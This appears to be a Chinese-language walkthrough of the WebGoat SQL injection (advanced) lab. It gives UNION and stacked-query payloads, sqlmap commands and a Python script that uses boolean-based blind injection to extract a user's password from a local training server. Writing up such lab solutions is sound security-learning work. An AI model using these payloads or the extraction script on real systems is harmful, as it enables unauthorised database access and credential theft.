--- disqus: jpower --- # OWASP TOP10 Injection(SQL Injection advanced) ## 3 Try It! Pulling data from other tables ![](https://i.imgur.com/Lob0lsS.png) Q: 取得資料表中的所有資料並取得Dave的密碼 ANS: 方法一、 ``` 在Name輸入 'OR'1'='1'; SELECT * FROM user_system_data;-- ``` 可以取得user_system_data的內容,包含Dave密碼 ![](https://i.imgur.com/OdNr8A4.png) 方法二、 ``` 在Name輸入 ' UNION SELECT 1,user_name,password,cookie,'A','A',4 FROM user_system_data;-- ``` ![](https://i.imgur.com/sulW3EQ.png) 說明: ``` SQL語法中的1、'A'、'A'、4 都是用來湊數用的,因為UNION合併指令要求欄位數相同,因此使用相同欄位屬性的值(int、varchar)來湊數 ``` ## 5 boolean-based blind Q: 登入Tom的帳號 A: 1. 首先可以使用brupsuite觀察Login與Register送出的參數有哪些,將burpsuite看到的request結果另存成request_login.txt、request_register.txt,並利用SQLMAP工具進行探測。 Login ![](https://i.imgur.com/tH9TxCi.png) ``` sqlmap -r request_login.txt ``` Regster ![](https://i.imgur.com/ii4dbNo.png) ``` sqlmap -r request_register.txt ``` 2. 使用SQLMAP測試過後,會發現在Register的部分,username_reg存在boolean-based blind,有機會可以執行SQL Injection。另外也發現資料庫是使用HSQLDB版本1.7.2。 ![](https://i.imgur.com/U4nCZLQ.png) 3. 接著試著列出所有DB名稱。 ``` sqlmap -r request_register.txt --dbs --no-cast ``` ![](https://i.imgur.com/ekc3Amk.png) 4. 檢視目前是使用哪一個DB,發現是使用PUBLIC。 ``` sqlmap -r request_register.txt --dbs --no-cast --current-db ``` ![](https://i.imgur.com/2AIuWnp.png) 5. 利用sqlmap嘗試針對PUBLIC列出它包含的TABLE,可惜無法得到結果。 ``` sqlmap -r request_register.txt --dbs --tables -D PUBLIC --technique B --no-cast --threads 10 ``` 6. 接下來嘗試用手動方式進行測試,由於已經知道username_reg存在==boolean-based blind==,以下針對這個欄位接著測試。測試成立一個帳號aaa,新成立的帳號成功建立的條件下,下方結果會顯示==User aaa created, please procees to the login page.== ![](https://i.imgur.com/29i16NO.png) 7. 同一個帳號aaa再一次註冊,會發現若是已經存在的帳號,下方的結果會顯示另一個 ==User aaa already exists please try to register with a different username.== ![](https://i.imgur.com/GCmxYfE.png) 8. 接下來測試重複註冊我們要登入的帳號Tom,結果顯示 ==User Tom created, please procees to the login page.== 發現可以被新增,因此Tom不是原本既有的帳號。 ![](https://i.imgur.com/7NcRB3y.png) 9. 另外再測試小寫的帳號tom,結果顯示 ==User tom already exists please try to register with a different username.== 可以發現我們的目標帳號應該是小寫tom才對。 ![](https://i.imgur.com/awVEgN2.png) 10. 接著測試當結果為==真==的時候會顯示的內容,會顯示already exists的回覆。 ==User {0} already exists please try to register with a different username.== ``` tom' AND '1'='1 ``` ![](https://i.imgur.com/K0UI24z.png) 11. 接著測試當結果為==假==的時候會顯示的內容,會顯示created的回覆。 ==User tom' AND '1'='2 created, please procees to the login page.== ``` tom' AND '1'='2 ``` ![](https://i.imgur.com/1qdo0zn.png) 12. 最後再測試語法錯誤會有什麼回覆,故意打錯成ANDD,會顯示Sorry的回覆。 ``` tom' ANDD '1'='2 ``` ![](https://i.imgur.com/z5YWMMD.png) 13. 整理如下表所示 | 真 | 假 | 語法錯誤 | | -------- | -------- | -------- | | already exists | created | Sorry | 14. 由於剛剛用brupsuite可以看到送出去的密碼請求是password_reg,因此我們猜測密碼的欄位有可能是password、pwd之類的。要測試欄位名稱是否正確的話可以利用==length()>0==語法。首先測試password,得到的結果是already exists。 ``` tom' AND length(password)>0-- ``` ![](https://i.imgur.com/8mwhznb.png) 15. 另外驗證一下,測試pwd,得到的結果是Sorry。==代表密碼的欄位名稱是password沒錯且密碼長度>0==。 ``` tom' AND length(pwd)>0-- ``` ![](https://i.imgur.com/OdaTBPu.png) 16. 下一步依序測試密碼長度實際的大小,從50開始試發現密碼長度小於50,最後會發現密碼長度是23。 ``` tom' AND length(pwd)>50-- 得到created代表結果為假 ``` ![](https://i.imgur.com/jkYGHB8.png) ``` tom' AND length(pwd)=23-- 得到already exists代表結果為真 ``` ![](https://i.imgur.com/io9IGRb.png) 17. 在知道密碼長度是23之後,可以利用==substring()== 語法來猜密碼。 ``` substring(str,pos,len) 以上語法的意思是,由<str>中的第<pos>位置開始,選出接下去的<len>個字元 ``` 18. 舉例來說我們猜測密碼第一個是否為a,得到的結果是假。 ![](https://i.imgur.com/d4f7QlC.png) 19. 接著測試到是否為t的時候,發現得到的結果是真。 ![](https://i.imgur.com/Sxb6mNP.png) 20. 知道邏輯之後利用python寫一隻小程式試著暴力列舉,程式碼如下: ``` import requests url = 'http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge' headersdata = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36','Cookie':'JSESSIONID=VEWJgGwvd8q4QSY9kxRB1Og72WsKxz2RMgznMFYH'} pwdlist=[chr(i) for i in range(32,127)] #ASCII可顯示字元範圍從32-127 print(pwdlist) ans = '' for i in range(1,24): for p in pwdlist: payload = "tom' AND substring(password,"+str(i)+",1)='"+p+"'--" formdata = { 'username_reg':payload, 'email_reg':'t@t', 'password_reg':'123', 'confirm_password':'123' } respones = requests.put(url, data=formdata, headers=headersdata) if 'already' in str(respones.text): ans = ans + p print(ans) ``` 21. 最終得到結果如下,使用者Tom的密碼為==thisisasecretfortomonly== ![](https://i.imgur.com/vaqqxtN.png) ###### tags: `webgoat`,`Injection`